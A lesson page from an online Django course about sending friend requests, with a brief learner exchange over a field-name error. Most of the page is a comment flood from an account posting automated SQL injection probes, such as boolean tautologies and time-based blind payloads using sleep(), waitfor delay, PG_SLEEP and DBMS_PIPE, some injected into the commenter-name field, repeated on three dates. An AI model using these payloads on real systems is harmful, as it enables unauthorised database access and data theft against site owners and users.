Part eight - 1 - Sending friend requests - Learn Django by building a social network

You need to be subscribed to a plan to get access to the full course.

In this part, we will make it possible to send friend requests to other users of DjangoNet.

Comments

hyunho lee | Sep 22, 22 12:45

hi, stein.
I am hyunho at korea.I am taking your lecture.

Part 8-1 Sending friend requests
created_by = request.user

I get the following error: I wonder how to solve it.

Cannot resolve keyword 'created_by' into field. Choices are: created_at, created_to, created_to_id, id, requested_to, requested_to_id, status


Stein Ove Helset | Nov 19, 22 06:49

Great that you fixed it :-)

hyunho lee | Sep 22, 22 12:52

It was my mistake.

EFSArCBy | Jul 02, 26 10:04

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

-1 OR 2+620-620-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:13

-1 OR 2+450-450-1=0+0+0+1

EFSArCBy | Jul 02, 26 10:13

-1' OR 2+212-212-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:13

-1' OR 2+507-507-1=0+0+0+1 or '1yT6MJQ6'='

EFSArCBy | Jul 02, 26 10:13

-1" OR 2+427-427-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 10:13

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 10:13

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 10:13

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 10:13

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 10:13

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:13

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:13

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:13

55547DcSGNm'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 10:13

555-1 OR 247=(SELECT 247 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:13

555-1) OR 822=(SELECT 822 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:13

555-1)) OR 578=(SELECT 578 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:13

555gqGLVO0J' OR 208=(SELECT 208 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:13

555BMRwNXfA') OR 619=(SELECT 619 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:13

555xhtWpjOX')) OR 387=(SELECT 387 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 10:13

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 10:13

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555'"

EFSArCBy | Jul 02, 26 10:13

@@BY2lE

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

-1 OR 2+881-881-1=0+0+0+1 -- | Jul 02, 26 10:13

555

-1 OR 2+609-609-1=0+0+0+1 | Jul 02, 26 10:13

555

-1' OR 2+689-689-1=0+0+0+1 -- | Jul 02, 26 10:13

555

-1' OR 2+516-516-1=0+0+0+1 or 'iPCUqrpL'=' | Jul 02, 26 10:13

555

-1" OR 2+748-748-1=0+0+0+1 -- | Jul 02, 26 10:13

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 10:13

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 10:13

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 10:13

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 10:13

555

EFSArCByPYrgLNwP'; waitfor delay '0:0:15' -- | Jul 02, 26 10:13

555

EFSArCByThkZBnNs' OR 576=(SELECT 576 FROM PG_SLEEP(15))-- | Jul 02, 26 10:13

555

EFSArCByGVmZl0rQ') OR 111=(SELECT 111 FROM PG_SLEEP(15))-- | Jul 02, 26 10:13

555

EFSArCByPbOxkq66')) OR 901=(SELECT 901 FROM PG_SLEEP(15))-- | Jul 02, 26 10:13

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 10:13

555

EFSArCBy | Jul 02, 26 10:13

555

EFSArCBy'" | Jul 02, 26 10:13

555

@@ySMaF | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 02, 26 10:14

555

EFSArCBy | Jul 20, 26 11:16

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

-1 OR 2+810-810-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:20

-1 OR 2+709-709-1=0+0+0+1

EFSArCBy | Jul 20, 26 11:20

-1' OR 2+513-513-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:20

-1' OR 2+28-28-1=0+0+0+1 or 'nGUTyO5I'='

EFSArCBy | Jul 20, 26 11:20

-1" OR 2+195-195-1=0+0+0+1 --

EFSArCBy | Jul 20, 26 11:20

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 20, 26 11:20

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 20, 26 11:20

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 20, 26 11:20

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 20, 26 11:20

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:20

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:20

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:20

555qBTjQLi3'; waitfor delay '0:0:15' --

EFSArCBy | Jul 20, 26 11:20

555-1 OR 735=(SELECT 735 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:20

555-1) OR 35=(SELECT 35 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:20

555-1)) OR 833=(SELECT 833 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:20

555XEUpP7js' OR 965=(SELECT 965 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:20

5555qBm4hos') OR 336=(SELECT 336 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:20

555DtmCJA1b')) OR 209=(SELECT 209 FROM PG_SLEEP(15))--

EFSArCBy | Jul 20, 26 11:20

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 20, 26 11:20

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555'"

EFSArCBy | Jul 20, 26 11:20

@@VXMFl

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

EFSArCBy | Jul 20, 26 11:20

555

-1 OR 2+66-66-1=0+0+0+1 -- | Jul 20, 26 11:20

555

-1 OR 2+393-393-1=0+0+0+1 | Jul 20, 26 11:20

555

-1' OR 2+620-620-1=0+0+0+1 -- | Jul 20, 26 11:20

555

-1' OR 2+726-726-1=0+0+0+1 or 'qUazzxoV'=' | Jul 20, 26 11:20

555

-1" OR 2+36-36-1=0+0+0+1 -- | Jul 20, 26 11:21

555

if(now()=sysdate(),sleep(15),0) | Jul 20, 26 11:21

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 20, 26 11:21

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 20, 26 11:21

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 20, 26 11:21

555

EFSArCByrregkWBG'; waitfor delay '0:0:15' -- | Jul 20, 26 11:21

555

EFSArCBy2JufwYWt' OR 589=(SELECT 589 FROM PG_SLEEP(15))-- | Jul 20, 26 11:21

555

EFSArCBy5wP0KBIW') OR 675=(SELECT 675 FROM PG_SLEEP(15))-- | Jul 20, 26 11:21

555

EFSArCBy1gvFUi9z')) OR 539=(SELECT 539 FROM PG_SLEEP(15))-- | Jul 20, 26 11:21

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy'" | Jul 20, 26 11:21

555

@@YKub9 | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 20, 26 11:21

555

EFSArCBy | Jul 23, 26 02:09

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

-1 OR 2+672-672-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:11

-1 OR 2+291-291-1=0+0+0+1

EFSArCBy | Jul 23, 26 02:11

-1' OR 2+473-473-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:11

-1' OR 2+890-890-1=0+0+0+1 or 'gmSSBIEq'='

EFSArCBy | Jul 23, 26 02:11

-1" OR 2+497-497-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 02:11

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 02:11

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 02:11

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 02:11

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 02:11

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:11

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:11

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:11

555OJk3EvD0'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 02:11

555-1 OR 75=(SELECT 75 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:11

555-1) OR 956=(SELECT 956 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:11

555-1)) OR 893=(SELECT 893 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:11

555T91i5xKC' OR 330=(SELECT 330 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:11

555GURUnRPd') OR 486=(SELECT 486 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:11

5556HpSR7Pj')) OR 972=(SELECT 972 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 02:11

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 02:11

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555'"

EFSArCBy | Jul 23, 26 02:11

@@ZbSyV

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

-1 OR 2+381-381-1=0+0+0+1 -- | Jul 23, 26 02:11

555

-1 OR 2+335-335-1=0+0+0+1 | Jul 23, 26 02:11

555

-1' OR 2+789-789-1=0+0+0+1 -- | Jul 23, 26 02:11

555

-1' OR 2+711-711-1=0+0+0+1 or 'iOwMbqYy'=' | Jul 23, 26 02:11

555

-1" OR 2+177-177-1=0+0+0+1 -- | Jul 23, 26 02:11

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 02:11

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 02:11

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 02:11

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 02:11

555

EFSArCByb9k2ueSO'; waitfor delay '0:0:15' -- | Jul 23, 26 02:11

555

EFSArCByOKIEzjgG' OR 601=(SELECT 601 FROM PG_SLEEP(15))-- | Jul 23, 26 02:11

555

EFSArCByYeUxCmRC') OR 377=(SELECT 377 FROM PG_SLEEP(15))-- | Jul 23, 26 02:11

555

EFSArCByEbaCKS0a')) OR 35=(SELECT 35 FROM PG_SLEEP(15))-- | Jul 23, 26 02:11

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy'" | Jul 23, 26 02:11

555

@@qpQn0 | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

EFSArCBy | Jul 23, 26 02:11

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.